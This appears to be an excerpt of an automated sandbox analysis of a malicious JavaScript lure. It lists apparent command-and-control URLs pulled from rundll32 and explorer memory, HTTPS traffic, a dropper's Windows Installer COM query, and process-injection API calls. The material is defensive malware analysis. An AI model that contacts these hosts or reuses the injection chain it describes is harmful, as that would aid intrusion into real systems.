Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036648885.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.php9#
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.phpF
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/admin.phpO#
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/azar.php
Source: rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.php
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.php8
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.phpi
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.phpll
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.phpll.mui
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2171396063.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/bazar.php~
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/f
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/in.com:8041/admin.php
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/net.com:8041/admin.phpf
Source: rundll32.exe, 00000006.00000003.3011956610.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/net.com:8041/bazar.php
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bazarunet.com:8041/zar.php
Source: explorer.exe, 00000008.00000000.2452717662.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009BB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com/
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com/g;
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/I
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.php
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.php-7
Source: rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.phpGN
Source: rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.phpUN
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.phpi
Source: rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.phpl.mui
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4C9D1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4C9D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030733974.000001FF4C9D3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2408323389.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4C9D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/admin.phpp
Source: rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149023230.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/bazar.php
Source: rundll32.exe, 00000006.00000003.2927135917.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/bazar.php3?8
Source: rundll32.exe, 00000006.00000003.3248286213.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149023230.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3295432938.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/bazar.phpAm=
Source: rundll32.exe, 00000006.00000003.3197779910.000001FF4CA55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/bazar.phpGN
Source: rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/bazar.phpq#(
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greshunka.com:8041/net.com:8041/Pw
Source: explorer.exe, 00000008.00000002.3351439546.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/
Source: explorer.exe, 00000008.00000002.3352293048.000000000C642000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/ECOMPARE.EXE.15Desktop
Source: explorer.exe, 00000008.00000002.3353202323.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/eE
Source: explorer.exe, 00000008.00000002.3346806877.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3352293048.000000000C642000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3352293048.000000000C81C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3352962994.000000000C933000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/
Source: explorer.exe, 00000008.00000002.3346806877.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/3
Source: explorer.exe, 00000008.00000002.3352962994.000000000C933000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/G
Source: explorer.exe, 00000008.00000002.3352293048.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/M
Source: explorer.exe, 00000008.00000002.3346806877.00000000099B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/i
Source: explorer.exe, 00000008.00000002.3352962994.000000000C933000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/test/l
Source: explorer.exe, 00000008.00000002.3353202323.000000000C9A7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://isomicrotich.com/yEz
Source: explorer.exe, 00000008.00000002.3350911655.000000000B7DD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://opewolumeras.com/test/
Source: explorer.exe, 00000008.00000002.3350911655.000000000B7DD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://opewolumeras.com/test/P
Source: explorer.exe, 00000008.00000000.2452717662.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.3346806877.0000000009BB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3094015474.0000000009BA9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000008.00000000.2456761349.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com/
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com/)
Source: rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030899621.000001FF4CA52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA37000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/
Source: rundll32.exe, 00000006.00000003.3036865447.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/$E
Source: rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/%
Source: rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/&
Source: rundll32.exe, 00000006.00000003.3036865447.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030485400.000001FF4CA7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/0E
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4CA42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/8~
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/F
Source: rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/L
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/N
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/Q
Source: rundll32.exe, 00000006.00000003.2219769270.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/Y
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/admin.php
Source: rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/admin.php.
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/admin.php=
Source: rundll32.exe, 00000006.00000003.2408323389.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2310895325.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030377151.000001FF4CA1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3036902410.000001FF4CA1E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3149156557.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3332514374.000001FF4CA1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3011956610.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2526611682.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/admin.phpM
Source: rundll32.exe, 00000006.00000003.2253330460.000001FF4CA15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/bazar.php
Source: rundll32.exe, 00000006.00000003.3031010424.000001FF4CA63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030079674.000001FF4CA4A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030899621.000001FF4CA52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030550060.000001FF4CA4D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3030793340.000001FF4CA4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiguanin.com:8041/oQ
Source: explorer.exe, 00000008.00000002.3346806877.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000008.00000002.3346806877.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2452717662.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: MSIF1BF.tmp.1.dr, MSI7623.tmp.1.dr, MSIF1DF.tmp.1.dr, MSIF101.tmp.1.dr, MSIF22E.tmp.1.dr, MSIF29D.tmp.1.dr, MSIF160.tmp.1.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50048 version: TLS 1.2

Source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_4797e325-3

Source: rundll32.exe, 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_2984fdd2-5

Source: Yara match	File source: 00000006.00000003.2067028655.000001FF4CAD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5880, type: MEMORYSTR

System Summary

Sample has a suspicious name (potential lure to open the executable)

Source: Document-18-33-08.js

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Microsoft Windows Installer HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{000C1090-0000-0000-C000-000000000046}

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000001FF4C9CDACE NtReadFile,	6_3_000001FF4C9CDACE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000001FF4C9CD9FE NtOpenFile,	6_3_000001FF4C9CD9FE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000001FF4C9CDA6E NtProtectVirtualMemory,	6_3_000001FF4C9CDA6E
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000001FF4C9CD98E NtAllocateVirtualMemory,	6_3_000001FF4C9CD98E
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE7A50 NtSetContextThread,	6_2_000001FF4CAE7A50
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAEF3A0 CreateToolhelp32Snapshot,Thread32First,NtSuspendThread,NtResumeThread,Thread32Next,NtClose,	6_2_000001FF4CAEF3A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD17B0 NtClose,	6_2_000001FF4CAD17B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB04FF0 NtQueueApcThread,	6_2_000001FF4CB04FF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB04BE0 NtProtectVirtualMemory,	6_2_000001FF4CB04BE0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB03F40 NtAllocateVirtualMemory,	6_2_000001FF4CB03F40
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB04740 NtFreeVirtualMemory,	6_2_000001FF4CB04740
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB04360 NtCreateThreadEx,	6_2_000001FF4CB04360
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE55C0 NtClose,NtTerminateThread,	6_2_000001FF4CAE55C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB051C0 NtReadVirtualMemory,	6_2_000001FF4CB051C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD71B0 NtClose,	6_2_000001FF4CAD71B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD1600 NtClose,RtlExitUserThread,	6_2_000001FF4CAD1600
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB045F0 NtDuplicateObject,	6_2_000001FF4CB045F0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE8149 NtSetContextThread,	6_2_000001FF4CAE8149
Source: C:\Windows\explorer.exe	Code function: 8_2_0305C704 NtDelayExecution,	8_2_0305C704
Source: C:\Windows\explorer.exe	Code function: 8_2_0305B388 NtAllocateVirtualMemory,	8_2_0305B388
Source: C:\Windows\explorer.exe	Code function: 8_2_030582B4 NtFreeVirtualMemory,	8_2_030582B4
Source: C:\Windows\explorer.exe	Code function: 8_2_030601A0 NtFreeVirtualMemory,	8_2_030601A0
Source: C:\Windows\explorer.exe	Code function: 8_2_030581C8 NtWriteFile,	8_2_030581C8
Source: C:\Windows\explorer.exe	Code function: 8_2_03058240 NtClose,	8_2_03058240
Source: C:\Windows\explorer.exe	Code function: 8_2_030580B8 RtlInitUnicodeString,NtCreateFile,	8_2_030580B8

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7623.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF101.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF160.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1BF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF1DF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF22E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF29D.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIF101.tmp

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FB6A50	4_2_00FB6A50
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FEF032	4_2_00FEF032
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FDC2CA	4_2_00FDC2CA
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FE92A9	4_2_00FE92A9
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FDE270	4_2_00FDE270
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FE84BD	4_2_00FE84BD
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FDA587	4_2_00FDA587
